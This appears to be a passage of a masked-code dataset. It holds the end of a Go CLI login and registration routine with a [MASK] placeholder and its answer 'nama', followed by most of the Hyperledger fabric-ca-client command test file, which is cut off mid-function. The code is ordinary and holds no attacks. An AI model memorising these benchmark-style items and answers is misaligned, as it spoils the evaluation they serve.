==="") fmt.Print(""NIM: "") fmt.Scan(&NIM) fmt.Print(""Password: "") fmt.Scan(&password) helpers.ClearScreen() auth.Authentic(NIM, password) if !auth.IsAuthenticated(auth.CurrentUser) { fmt.Println(""Autentikasi gagal. Silakan coba lagi."") } else { fmt.Printf(""Autentikasi berhasil. Selamat datang, %s!\n"", auth.CurrentUser.Nama) isLogged = true } helpers.ConfirmationScreen() return isLogged } /** * Handle the registration process * * @return void */ func (ac AuthController) Register() { fmt.Println(""=== Daftar ==="") var NIM, [MASK] , password, confirmPassword string fmt.Print(""Nama: "") [MASK] = helpers.GetInlineInput() fmt.Print(""NIM: "") fmt.Scan(&NIM) for isCorrect := false; !isCorrect; { fmt.Print(""Password: "") fmt.Scan(&password) fmt.Print(""Konfirmasi Password: "") fmt.Scan(&confirmPassword) if password != confirmPassword { fmt.Println(""Password tidak sama. Silakan coba lagi."") } else { isCorrect = true } } helpers.ClearScreen() auth.CreateUser(NIM, [MASK] , enums.Siswa, password) }",nama 329,"/* Copyright IBM Corp. 2017 All Rights Reserved. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""bufio"" ""crypto/x509"" ""encoding/hex"" ""encoding/pem"" ""errors"" ""fmt"" ""io/ioutil"" ""os"" ""path"" ""path/filepath"" ""strings"" ""testing"" ""github.com/hyperledger/fabric-ca/api"" ""github.com/hyperledger/fabric-ca/lib"" ""github.com/hyperledger/fabric-ca/lib/dbutil"" ""github.com/hyperledger/fabric-ca/util"" ""github.com/stretchr/testify/assert"" ) const ( testYaml = ""../../testdata/test.yaml"" testdataDir = ""homeDir"" mspDir = ""../../testdata/msp"" myhost = ""hostname"" certfile = ""ec.pem"" keyfile = ""ec-key.pem"" tlsCertFile = ""tls_server-cert.pem"" tlsKeyFile = ""tls_server-key.pem"" rootCert = ""root.pem"" tlsClientCertFile = ""tls_client-cert.pem"" tlsClientCertExpired = ""expiredcert.pem"" tlsClientKeyFile = ""tls_client-key.pem"" tdDir = ""../../testdata"" db = ""fabric-ca-server.db"" serverPort = 7090 rootCertEnvVar = ""FABRIC_CA_CLIENT_TLS_CERTFILES"" clientKeyEnvVar = ""FABRIC_CA_CLIENT_TLS_CLIENT_KEYFILE"" clientCertEnvVar = ""FABRIC_CA_CLIENT_TLS_CLIENT_CERTFILE"" moptionDir = ""moption-test"" clientCMD = ""fabric-ca-client"" ) const jsonConfig = `{ ""URL"": ""http://localhost:8888"", ""tls"": { ""enabled"": false, ""certfiles"": null, ""client"": { ""certfile"": null, ""keyfile"": null } }, ""csr"": { ""cn"": ""admin"", ""names"": [ { ""C"": ""US"", ""ST"": ""North Carolina"", ""L"": null, ""O"": ""Hyperledger"", ""OU"": ""Fabric"" } ], ""hosts"": [ ""charente"" ], ""ca"": { ""pathlen"": null, ""pathlenzero"": null, ""expiry"": null } }, ""id"": { ""name"": null, ""type"": null, ""group"": null, ""attributes"": [ { ""name"": null, ""value"": null } ] }, ""enrollment"": { ""hosts"": null, ""profile"": null, ""label"": null } }` var ( defYaml string fabricCADB = path.Join(tdDir, db) srv *lib.Server serverURL = fmt.Sprintf(""http://localhost:%d"", serverPort) enrollURL = fmt.Sprintf(""http://admin:adminpw@localhost:%d"", serverPort) enrollURL1 = fmt.Sprintf(""http://admin2:adminpw2@localhost:%d"", serverPort) tlsServerURL = fmt.Sprintf(""https://localhost:%d"", serverPort) tlsEnrollURL = fmt.Sprintf(""https://admin:adminpw@localhost:%d"", serverPort) tlsEnrollURL1 = fmt.Sprintf(""https://admin2:adminpw2@localhost:%d"", serverPort) ) type TestData struct { input []string // input } func TestNoArguments(t *testing.T) { err := RunMain([]string{cmdName}) if err == nil { assert.Error(t, errors.New(""Should have resulted in an error as no agruments provided"")) } } func TestExtraArguments(t *testing.T) { errCases := []TestData{ {[]string{cmdName, ""enroll"", ""extraArg"", ""extraArg2""}}, {[]string{cmdName, ""reenroll"", ""extraArg"", ""extraArg2""}}, {[]string{cmdName, ""register"", ""extraArg"", ""extraArg2""}}, {[]string{cmdName, ""revoke"", ""extraArg"", ""extraArg2""}}, {[]string{cmdName, ""getcacert"", ""extraArg"", ""extraArg2""}}, } for _, e := range errCases { extraArgErrorTest(&e, t) } } // TestCreateDefaultConfigFile test to make sure default config file gets generated correctly func TestCreateDefaultConfigFile(t *testing.T) { defYaml = util.GetDefaultConfigFile(""fabric-ca-client"") os.Remove(defYaml) err := RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-m"", myhost}) if err == nil { t.Errorf(""No server running, should have failed"") } fileBytes, err := ioutil.ReadFile(defYaml) if err != nil { t.Error(err) } configFile := string(fileBytes) if !strings.Contains(configFile, ""localhost:7090"") { t.Error(""Failed to update default config file with url"") } if !strings.Contains(configFile, myhost) { t.Error(""Failed to update default config file with host name"") } os.Remove(defYaml) } func TestClientCommandsNoTLS(t *testing.T) { os.Remove(fabricCADB) srv = lib.TestGetServer(serverPort, testdataDir, """", -1, t) srv.HomeDir = tdDir srv.Config.Debug = true err := srv.RegisterBootstrapUser(""admin"", ""adminpw"", """") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } err = srv.RegisterBootstrapUser(""admin2"", ""adminpw2"", ""hyperledger"") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } err = srv.RegisterBootstrapUser(""admin3"", ""adminpw3"", ""company1"") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } aff := make(map[string]interface{}) aff[""hyperledger""] = []string{""org1"", ""org2"", ""org3""} aff[""company1""] = []string{""dept1""} aff[""company2""] = []string{} srv.CA.Config.Affiliations = aff err = srv.Start() if err != nil { t.Errorf(""Server start failed: %s"", err) } testConfigFileTypes(t) testGetCACert(t) testEnroll(t) testProfiling(t) testRegisterConfigFile(t) testRegisterEnvVar(t) testRegisterCommandLine(t, srv) testRevoke(t) testBogus(t) testAffiliation(t) err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } } func testConfigFileTypes(t *testing.T) { t.Log(""Testing config file types"") // Viper supports file types: // yaml, yml, json, hcl, toml, props, prop, properties, so // any other file type will result in an error. However, not all // these file types are suitable to represent fabric-ca // client/server config properties -- for example, props/prop/properties // file type err := RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-c"", ""config/client-config.txt""}) if err == nil { t.Errorf(""Enroll command invoked with -c config/client-config.txt should have failed: %v"", err.Error()) } err = RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-c"", ""config/client-config.mf""}) if err == nil { t.Errorf(""Enroll command invoked with -c config/client-config.mf should have failed: %v"", err.Error()) } fName := os.TempDir() + ""/client-config.json"" f, err := os.Create(fName) if err != nil { t.Fatalf(""Unable to create json config file: %v"", err.Error()) } w := bufio.NewWriter(f) nb, err := w.WriteString(jsonConfig) if err != nil { t.Fatalf(""Unable to write to json config file: %v"", err.Error()) } t.Logf(""Wrote %d bytes to %s"", nb, fName) w.Flush() err = RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-c"", fName}) if err != nil { t.Errorf(""Enroll command invoked with -c %s failed: %v"", fName, err.Error()) } os.RemoveAll(""./config"") } // TestGetCACert tests fabric-ca-client getcacert func testGetCACert(t *testing.T) { t.Log(""Testing getcacert command"") defYaml = util.GetDefaultConfigFile(""fabric-ca-client"") os.Remove(defYaml) // Clean up any left over config file os.RemoveAll(""msp"") err := RunMain([]string{cmdName, ""getcacert"", ""-d"", ""-u"", serverURL}) if err != nil { t.Errorf(""getcacert failed: %s"", err) } err = RunMain([]string{cmdName, ""getcacert"", ""-d"", ""-u"", ""http://localhost:9999""}) if err == nil { t.Error(""getcacert with bogus URL should have failed but did not"") } err = RunMain([]string{cmdName, ""getcacert"", ""-d""}) if err == nil { t.Error(""getcacert with no URL should have failed but did not"") } err = RunMain([]string{cmdName, ""getcacert"", ""Z""}) if err == nil { t.Error(""getcacert called with bogus argument, should have failed"") } os.RemoveAll(""cacerts"") os.RemoveAll(""msp"") os.Remove(defYaml) } // TestEnroll tests fabric-ca-client enroll func testEnroll(t *testing.T) { t.Log(""Testing Enroll command"") defYaml = util.GetDefaultConfigFile(""fabric-ca-client"") os.Remove(defYaml) // Clean up any left over config file // Negative test case, enroll command without username/password err := RunMain([]string{cmdName, ""enroll"", ""-d""}) if err == nil { t.Errorf(""No username/password provided, should have errored"") } err = RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-M"", filepath.Join(filepath.Dir(defYaml), ""msp"")}) if err != nil { t.Errorf(""client enroll -u failed: %s"", err) } testReenroll(t) err = RunMain([]string{cmdName, ""enroll"", ""-u"", ""http://admin2:adminpw2@localhost:7091""}) if err == nil { t.Error(""Should have failed, client config file should have incorrect port (7091) for server"") } err = RunMain([]string{cmdName, ""enroll"", ""Z""}) if err == nil { t.Error(""enroll called with bogus argument, should have failed"") } os.Remove(defYaml) } // TestGencsr tests fabric-ca-client gencsr func TestGencsr(t *testing.T) { t.Log(""Testing gencsr CMD"") defYaml = util.GetDefaultConfigFile(""fabric-ca-client"") os.Remove(defYaml) // Clean up any left over config file mspDir := filepath.Join(filepath.Dir(defYaml), ""msp"") os.RemoveAll(mspDir) defer os.Remove(defYaml) err := RunMain([]string{cmdName, ""gencsr"", ""--csr.cn"", ""identity"", ""--csr.names"", ""C=CA,O=Org1,OU=OU1"", ""-M"", mspDir}) if err != nil { t.Errorf(""client gencsr failed: %s"", err) } signcerts := path.Join(mspDir, ""signcerts"") assertOneFileInDir(signcerts, t) files, err := ioutil.ReadDir(signcerts) if err != nil { t.Fatalf(""Failed to get number of files in directory '%s': %s"", signcerts, err) } if files[0].Name() != ""identity.csr"" { t.Fatalf(""Failed to find identity.csr in '%s': %s"", signcerts, err) } err = RunMain([]string{cmdName, ""gencsr"", ""--csr.cn"", ""identity"", ""--csr.names"", ""C=CA,O=Org1,FOO=BAR"", ""-M"", mspDir}) if err == nil { t.Error(""Should have failed: Invalid CSR name"") } err = RunMain([]string{cmdName, ""gencsr"", ""--csr.cn"", ""identity"", ""--csr.names"", ""C:CA,O=Org1,OU=OU2"", ""-M"", mspDir}) if err == nil { t.Error(""Should have failed: No '=' for name/value pair"") } err = RunMain([]string{cmdName, ""gencsr"", ""-c"", defYaml, ""--csr.names"", ""C=CA,O=Org1,OU=OU1"", ""-M"", mspDir}) if err == nil { t.Error(""Should have failed: CSR CN not specified."") } } // TestMOption tests to make sure that the key is stored in the correct // directory when the ""-M"" option is used. // This also ensures the intermediatecerts directory structure is populated // since we enroll with an intermediate CA. func TestMOption(t *testing.T) { os.RemoveAll(moptionDir) defer os.RemoveAll(moptionDir) rootCAPort := 7173 rootServer := startServer(path.Join(moptionDir, ""rootServer""), rootCAPort, """", t) if rootServer == nil { return } defer rootServer.Stop() rootCAURL := fmt.Sprintf(""http://admin:adminpw@localhost:%d"", rootCAPort) intCAPort := 7174 intServer := startServer(path.Join(moptionDir, ""intServer""), intCAPort, rootCAURL, t) if intServer == nil { return } defer intServer.Stop() homedir := path.Join(moptionDir, ""client"") mspdir := ""msp2"" // relative to homedir err := RunMain([]string{ cmdName, ""enroll"", ""-u"", fmt.Sprintf(""http://admin:adminpw@localhost:%d"", intCAPort), ""-c"", path.Join(homedir, ""config.yaml""), ""-M"", mspdir, ""-d""}) if err != nil { t.Fatalf(""client enroll -u failed: %s"", err) } assertOneFileInDir(path.Join(homedir, mspdir, ""keystore""), t) assertOneFileInDir(path.Join(homedir, mspdir, ""cacerts""), t) assertOneFileInDir(path.Join(homedir, mspdir, ""intermediatecerts""), t) } // TestReenroll tests fabric-ca-client reenroll func testReenroll(t *testing.T) { t.Log(""Testing Reenroll command"") defYaml = util.GetDefaultConfigFile(""fabric-ca-client"") err := RunMain([]string{cmdName, ""reenroll"", ""-u"", serverURL, ""--csr.hosts"", ""host1""}) if err != nil { t.Errorf(""client reenroll --url -f failed: %s"", err) } err = util.CheckHostsInCert(filepath.Join(filepath.Dir(defYaml), ""msp"", ""signcerts"", ""cert.pem""), ""host1"") if err != nil { t.Error(err) } err = RunMain([]string{cmdName, ""reenroll"", ""-u"", serverURL, ""--enrollment.hosts"", ""host1,host2"", ""Z""}) if err == nil { t.Error(""reenroll called with bogus argument, should have failed"") } os.Remove(defYaml) } // testRegisterConfigFile tests fabric-ca-client register using the config file func testRegisterConfigFile(t *testing.T) { t.Log(""Testing Register command using config file"") err := RunMain([]string{cmdName, ""enroll"", ""-d"", ""-c"", ""../../testdata/fabric-ca-client-config.yaml"", ""-u"", enrollURL1}) if err != nil { t.Errorf(""client enroll -u failed: %s"", err) } err = RunMain([]string{cmdName, ""register"", ""-d"", ""-c"", ""../../testdata/fabric-ca-client-config.yaml""}) if err != nil { t.Errorf(""client register failed using config file: %s"", err) } } // testRegisterEnvVar tests fabric-ca-client register using environment variables func testRegisterEnvVar(t *testing.T) { t.Log(""Testing Register command using env variables"") os.Setenv(""FABRIC_CA_CLIENT_HOME"", ""../../testdata/"") os.Setenv(""FABRIC_CA_CLIENT_ID_NAME"", ""testRegister2"") os.Setenv(""FABRIC_CA_CLIENT_ID_AFFILIATION"", ""hyperledger"") os.Setenv(""FABRIC_CA_CLIENT_ID_TYPE"", ""client"") defer func() { os.Unsetenv(""FABRIC_CA_CLIENT_HOME"") os.Unsetenv(""FABRIC_CA_CLIENT_ID_NAME"") os.Unsetenv(""FABRIC_CA_CLIENT_ID_AFFILIATION"") os.Unsetenv(""FABRIC_CA_CLIENT_ID_TYPE"") }() err := RunMain([]string{cmdName, ""register""}) if err != nil { t.Errorf(""client register failed using environment variables: %s"", err) } } // testRegisterCommandLine tests fabric-ca-client register using command line input func testRegisterCommandLine(t *testing.T, srv *lib.Server) { t.Log(""Testing Register using command line options"") os.Setenv(""FABRIC_CA_CLIENT_HOME"", ""../../testdata/"") defer os.Unsetenv(""FABRIC_CA_CLIENT_HOME"") fooName := ""foo"" fooVal := ""a=b"" roleName := ""hf.Registrar.Roles"" roleVal := ""peer,user,client"" attributes := fmt.Sprintf(""%s=%s,bar=c,\""%s=%s\"""", fooName, fooVal, roleName, roleVal) err := RunMain([]string{cmdName, ""register"", ""-d"", ""--id.name"", ""testRegister3"", ""--id.affiliation"", ""hyperledger.org1"", ""--id.type"", ""client"", ""--id.attrs"", attributes}) if err != nil { t.Errorf(""client register failed: %s"", err) } sqliteDB, _, err := dbutil.NewUserRegistrySQLLite3(srv.CA.Config.DB.Datasource) assert.NoError(t, err) db := lib.NewDBAccessor() db.SetDB(sqliteDB) user, err := db.GetUserInfo(""testRegister3"") assert.NoError(t, err) val := lib.GetAttrValue(user.Attributes, fooName) if val != fooVal { t.Errorf(""Incorrect value returned for attribute '%s', expected '%s' got '%s'"", fooName, fooVal, val) } val = lib.GetAttrValue(user.Attributes, roleName) if val != roleVal { t.Errorf(""Incorrect value returned for attribute '%s', expected '%s' got '%s'"", roleName, roleVal, val) } err = RunMain([]string{cmdName, ""register"", ""-d"", ""--id.name"", ""testRegister4"", ""--id.affiliation"", ""hyperledger.org2"", ""--id.type"", ""client""}) if err != nil { t.Errorf(""client register failed: %s"", err) } // Register an identity without identity type parameter (--id.type). It should succeed. // The identity type is set to default type ""user"" userName := ""testRegister5"" err = RunMain([]string{cmdName, ""register"", ""-d"", ""--id.name"", userName, ""--id.affiliation"", ""hyperledger.org1""}) assert.NoError(t, err, ""Failed to register identity ""+userName) user, err = db.GetUserInfo(userName) assert.NoError(t, err) assert.Equal(t, ""user"", user.Type, ""Identity type for '%s' should have been 'user'"", userName) os.Remove(defYaml) // Delete default config file err = RunMain([]string{cmdName, ""register"", ""-u"", ""http://localhost:7091""}) if err == nil { t.Error(""Should have failed, client config file should have incorrect port (7091) for server"") } err = RunMain([]string{cmdName, ""register"", ""-u"", serverURL, ""Y""}) if err == nil { t.Error(""register called with bogus argument, should have failed"") } } // TestRevoke tests fabric-ca-client revoke func testRevoke(t *testing.T) { t.Log(""Testing Revoke command"") os.Setenv(""FABRIC_CA_CLIENT_HOME"", ""../../testdata/"") defer os.Unsetenv(""FABRIC_CA_CLIENT_HOME"") err := RunMain([]string{cmdName, ""revoke""}) if err == nil { t.Errorf(""No enrollment ID or serial/aki provided, should have failed"") } serial, aki, err := getSerialAKIByID(""admin"") if err != nil { t.Error(err) } // Revoker's affiliation: hyperledger err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.name"", ""nonexistinguser""}) if err == nil { t.Errorf(""Non existing user being revoked, should have failed"") } err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.serial"", serial}) if err == nil { t.Errorf(""Only serial specified, should have failed"") } err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.aki"", aki}) if err == nil { t.Errorf(""Only aki specified, should have failed"") } // revoker's affiliation: hyperledger, revoking affiliation: """" err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.serial"", serial, ""--revoke.aki"", aki}) if err == nil { t.Error(""Should have failed, admin2 cannot revoke root affiliation"") } // When serial, aki and enrollment id are specified in a revoke request, // fabric ca server returns an error if the serial and aki do not belong // to the enrollment ID. err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.name"", ""blah"", ""--revoke.serial"", serial, ""--revoke.aki"", aki}) if err == nil { t.Errorf(""The Serial and AKI are not associated with the enrollment ID: %s"", err) } // Enroll admin with root affiliation and test revoking with root err = RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL}) if err != nil { t.Errorf(""client enroll -u failed: %s"", err) } // testRegister4's affiliation: company2, revoker's affiliation: """" (root) err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.name"", ""testRegister4"", ""--revoke.serial"", """", ""--revoke.aki"", """"}) if err != nil { t.Errorf(""User with root affiliation failed to revoke, error: %s"", err) } // testRegister2's affiliation: hyperledger, revoker's affiliation: """" err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.name"", ""testRegister2"", ""--revoke.serial"", """", ""--revoke.aki"", """"}) if err != nil { t.Errorf(""Failed to revoke proper affiliation hierarchy, error: %s"", err) } err = RunMain([]string{cmdName, ""enroll"", ""-d"", ""-u"", ""http://admin3:adminpw3@localhost:7090""}) if err != nil { t.Errorf(""client enroll -u failed: %s"", err) } // Revoked user's affiliation: hyperledger.org3 err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.name"", ""testRegister3"", ""--revoke.serial"", """", ""--revoke.aki"", """"}) if err == nil { t.Error(""Should have failed, admin3 does not have authority revoke"") } // testRegister4's affiliation: company2, revoker's affiliation: company1 err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""--revoke.name"", ""testRegister4""}) if err == nil { t.Error(""Should have failed have different affiliation path"") } os.Remove(defYaml) // Delete default config file err = RunMain([]string{cmdName, ""revoke"", ""-u"", ""http://localhost:7091""}) if err == nil { t.Error(""Should have failed, client config file should have incorrect port (7091) for server"") } err = RunMain([]string{cmdName, ""revoke"", ""-u"", serverURL, ""U""}) if err == nil { t.Error(""revoke called with bogus argument, should have failed"") } os.RemoveAll(filepath.Dir(defYaml)) } // Test that affiliations get correctly set when registering a user with affiliation specified func testAffiliation(t *testing.T) { var err error // admin2 has affiliation of 'hyperledger' err = RunMain([]string{cmdName, ""enroll"", ""-d"", ""-u"", enrollURL1}) if err != nil { t.Errorf(""client enroll -u failed: %s"", err) } // Registering with affiliation of """", should result in error. Registrar does not have absolute root affiliaton err = RunMain([]string{cmdName, ""register"", ""-d"", ""--id.name"", ""testRegister5"", ""--id.type"", ""client"", ""--id.affiliation"", "".""}) if err == nil { t.Error(""Registering with affiliation of '', should result in error. Registrar does not have absolute root affiliaton"") } // admin has affiliation of """" err = RunMain([]string{cmdName, ""enroll"", ""-d"", ""-u"", enrollURL}) if err != nil { t.Errorf(""client enroll -u failed: %s"", err) } // Registering with affiliation of ""hyperledger"", valid scenario err = RunMain([]string{cmdName, ""register"", ""-d"", ""--id.name"", ""testRegister6"", ""--id.type"", ""client"", ""--id.affiliation"", ""hyperledger""}) if err != nil { t.Errorf(""client register failed: %s"", err) } sqliteDB, _, err := dbutil.NewUserRegistrySQLLite3(srv.CA.Config.DB.Datasource) assert.NoError(t, err) db := lib.NewDBAccessor() db.SetDB(sqliteDB) user, err := db.GetUserInfo(""testRegister6"") assert.NoError(t, err) if user.Affiliation != ""hyperledger"" { t.Errorf(""Incorrectly set affiliation for user being registered when no affiliation was specified, expected 'hyperledger' got %s"", user.Affiliation) } os.RemoveAll(filepath.Dir(defYaml)) } // testProfiling tests enablement of fabric CA client heap/cpu profiling func testProfiling(t *testing.T) { t.Log(""Testing profiling"") var testCases = []struct { pEnvVal string input []string mProfExpected bool cProfExpected bool }{ {""heap"", []string{cmdName, ""getcacert"", ""-u"", serverURL}, true, false}, {""cpu"", []string{cmdName, ""getcacert"", ""-u"", serverURL}, false, true}, {"""", []string{cmdName, ""getcacert"", ""-u"", serverURL}, false, false}, {""foo"", []string{cmdName, ""getcacert"", ""-u"", serverURL}, false, false}, } wd, err := os.Getwd() if err != nil { wd = os.Getenv(""HOME"") } mfile := wd + ""/mem.pprof"" cfile := wd + ""/cpu.pprof"" for _, testCase := range testCases { os.Setenv(fabricCAClientProfileMode, testCase.pEnvVal) _ = RunMain(testCase.input) _, err := os.Stat(mfile) _, err1 := os.Stat(cfile) if testCase.cProfExpected && err1 != nil { t.Errorf(""%s is found. It should not be created when cpu profiling is NOT enabled: %s"", cfile, err1) } if !testCase.cProfExpected && err1 == nil { t.Errorf(""%s is not found. It should be created when cpu profiling is enabled"", cfile) } if testCase.mProfExpected && err != nil { t.Errorf(""%s is found. It should not be created when memory profiling is NOT enabled: %s"", mfile, err) } if !testCase.mProfExpected && err == nil { t.Errorf(""%s is not found. It should be created when memory profiling is enabled"", mfile) } os.Remove(mfile) os.Remove(cfile) os.Remove(defYaml) } os.Unsetenv(fabricCAClientProfileMode) } // TestBogus tests a negative test case func testBogus(t *testing.T) { err := RunMain([]string{cmdName, ""bogus""}) if err == nil { t.Errorf(""client bogus passed but should have failed"") } } func TestGetCACert(t *testing.T) { srv = getServer() srv.Config.Debug = true // Configure TLS settings on server srv.HomeDir = tdDir srv.Config.TLS.Enabled = true srv.Config.TLS.CertFile = tlsCertFile srv.Config.TLS.KeyFile = tlsKeyFile err := srv.Start() if err != nil { t.Errorf(""Server start failed: %s"", err) } // Test getcacert command using environment variables to set root TLS cert err = testGetCACertEnvVar(t) assert.NoError(t, err, ""Failed to get CA cert using environment variables"") // Change client authentication type on server srv.Config.TLS.ClientAuth.Type = ""RequireAndVerifyClientCert"" // Test getcacert command using configuration files to read in client TLS cert and key err = testGetCACertConfigFile(t) assert.NoError(t, err, ""Failed to get CA cert using client configuration file"") err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } } func TestClientCommandsUsingConfigFile(t *testing.T) { os.Remove(fabricCADB) srv = lib.TestGetServer(serverPort, testdataDir, """", -1, t) srv.Config.Debug = true err := srv.RegisterBootstrapUser(""admin"", ""adminpw"", ""org1"") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } srv.HomeDir = tdDir srv.Config.TLS.Enabled = true srv.Config.TLS.CertFile = tlsCertFile srv.Config.TLS.KeyFile = tlsKeyFile err = srv.Start() if err != nil { t.Errorf(""Server start failed: %s"", err) } err = RunMain([]string{cmdName, ""enroll"", ""-c"", ""../../testdata/fabric-ca-client-config.yaml"", ""-u"", tlsEnrollURL, ""-d""}) if err != nil { t.Errorf(""client enroll -c -u failed: %s"", err) } err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } } func TestClientCommandsTLSEnvVar(t *testing.T) { os.Remove(fabricCADB) srv = lib.TestGetServer(serverPort, testdataDir, """", -1, t) srv.Config.Debug = true err := srv.RegisterBootstrapUser(""admin2"", ""adminpw2"", ""org1"") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } srv.HomeDir = tdDir srv.Config.TLS.Enabled = true srv.Config.TLS.CertFile = tlsCertFile srv.Config.TLS.KeyFile = tlsKeyFile err = srv.Start() if err != nil { t.Errorf(""Server start failed: %s"", err) } os.Setenv(rootCertEnvVar, rootCert) os.Setenv(clientKeyEnvVar, tlsClientKeyFile) os.Setenv(clientCertEnvVar, tlsClientCertFile) err = RunMain([]string{cmdName, ""enroll"", ""-d"", ""-c"", testYaml, ""-u"", tlsEnrollURL, ""-d""}) if err != nil { t.Errorf(""client enroll -c -u failed: %s"", err) } err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } os.Unsetenv(rootCertEnvVar) os.Unsetenv(clientKeyEnvVar) os.Unsetenv(clientCertEnvVar) } func TestClientCommandsTLS(t *testing.T) { os.Remove(fabricCADB) srv = lib.TestGetServer(serverPort, testdataDir, """", -1, t) srv.Config.Debug = true err := srv.RegisterBootstrapUser(""admin2"", ""adminpw2"", ""org1"") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } srv.HomeDir = tdDir srv.Config.TLS.Enabled = true srv.Config.TLS.CertFile = tlsCertFile srv.Config.TLS.KeyFile = tlsKeyFile err = srv.Start() if err != nil { t.Errorf(""Server start failed: %s"", err) } err = RunMain([]string{cmdName, ""enroll"", ""-c"", testYaml, ""--tls.certfiles"", rootCert, ""--tls.client.keyfile"", tlsClientKeyFile, ""--tls.client.certfile"", tlsClientCertFile, ""-u"", tlsEnrollURL, ""-d""}) if err != nil { t.Errorf(""client enroll -c -u failed: %s"", err) } err = RunMain([]string{cmdName, ""enroll"", ""-c"", testYaml, ""--tls.certfiles"", rootCert, ""--tls.client.keyfile"", tlsClientKeyFile, ""--tls.client.certfile"", tlsClientCertExpired, ""-u"", tlsEnrollURL, ""-d""}) if err == nil { t.Errorf(""Expired certificate used for TLS connection, should have failed"") } err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } os.Remove(testYaml) } func TestMultiCA(t *testing.T) { cleanMultiCADir() srv = lib.TestGetServer(serverPort, testdataDir, """", -1, t) srv.HomeDir = ""../../testdata"" srv.Config.CAfiles = []string{""ca/rootca/ca1/fabric-ca-server-config.yaml"", ""ca/rootca/ca2/fabric-ca-server-config.yaml""} srv.CA.Config.CSR.Hosts = []string{""hostname""} t.Logf(""Server configuration: %+v\n"", srv.Config) err := srv.RegisterBootstrapUser(""admin"", ""adminpw"", """") if err != nil { t.Errorf(""Failed to register bootstrap user: %s"", err) } srv.BlockingStart = false err = srv.Start() if err != nil { t.Fatal(""Failed to start server:"", err) } // Test going to default CA if no caname provided in client request err = RunMain([]string{cmdName, ""enroll"", ""-c"", testYaml, ""-u"", enrollURL, ""-d""}) if err != nil { t.Errorf(""client enroll -c -u failed: %s"", err) } enrURL := fmt.Sprintf(""http://adminca1:adminca1pw@localhost:%d"", serverPort) err = RunMain([]string{cmdName, ""enroll"", ""-c"", testYaml, ""-u"", enrURL, ""-d"", ""--caname"", ""rootca1""}) if err != nil { t.Errorf(""client enroll -c -u --caname failed: %s"", err) } err = RunMain([]string{cmdName, ""reenroll"", ""-c"", testYaml, ""-d"", ""--caname"", ""rootca1""}) if err != nil { t.Errorf(""client reenroll -c --caname failed: %s"", err) } err = RunMain([]string{cmdName, ""register"", ""-c"", testYaml, ""-d"", ""--id.name"", ""testuser"", ""--id.type"", ""user"", ""--id.affiliation"", ""org2"", ""--caname"", ""rootca1""}) if err != nil { t.Errorf(""client register failed: %s"", err) } err = RunMain([]string{cmdName, ""revoke"", ""-c"", testYaml, ""-d"", ""--revoke.name"", ""adminca1"", ""--caname"", ""rootca1""}) if err != nil { t.Errorf(""client revoke failed: %s"", err) } err = RunMain([]string{cmdName, ""getcacert"", ""-u"", serverURL, ""-c"", testYaml, ""-d"", ""--caname"", ""rootca1""}) if err != nil { t.Errorf(""client getcacert failed: %s"", err) } err = RunMain([]string{cmdName, ""enroll"", ""-c"", testYaml, ""-u"", enrollURL, ""-d"", ""--caname"", ""rootca2""}) if err != nil { t.Errorf(""client enroll failed: %s"", err) } err = RunMain([]string{cmdName, ""enroll"", ""-c"", testYaml, ""-u"", enrURL, ""-d"", ""--caname"", ""rootca3""}) if err == nil { t.Errorf(""Should have failed, rootca3 does not exist on server"") } err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } } func TestMSPDirectoryCreation(t *testing.T) { os.RemoveAll(""mspConfigTest"") defer os.RemoveAll(""mspConfigTest"") srv := lib.TestGetServer(serverPort, ""mspConfigTest"", """", -1, t) err := srv.Start() if err != nil { t.Fatal(""Failed to start server:"", err) } if util.FileExists(""msp"") { t.Errorf(""MSP directory should not exist at the local directory"") } err = srv.Stop() if err != nil { t.Errorf(""Server stop failed: %s"", err) } } func TestHomeDirectory(t *testing.T) { configFilePath := util.GetDefaultConfigFile(clientCMD) defaultClientConfigDir, defaultClientConfigFile := filepath.Split(configFilePath) os.RemoveAll(""../../testdata/testhome"") defer os.RemoveAll(""../../testdata/testhome"") RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-c"", """"}) if !util.FileExists(configFilePath) { t.Errorf(""Failed to correctly created the default config (fabric-ca-client-config) in the default home directory"") } os.RemoveAll(defaultClientConfigDir) // Remove default directory before testing another default case RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-H"", """"}) if !util.FileExists(configFilePath) { t.Errorf(""Failed to correctly created the default config (fabric-ca-client-config) in the default home directory"") } os.RemoveAll(defaultClientConfigDir) // Remove 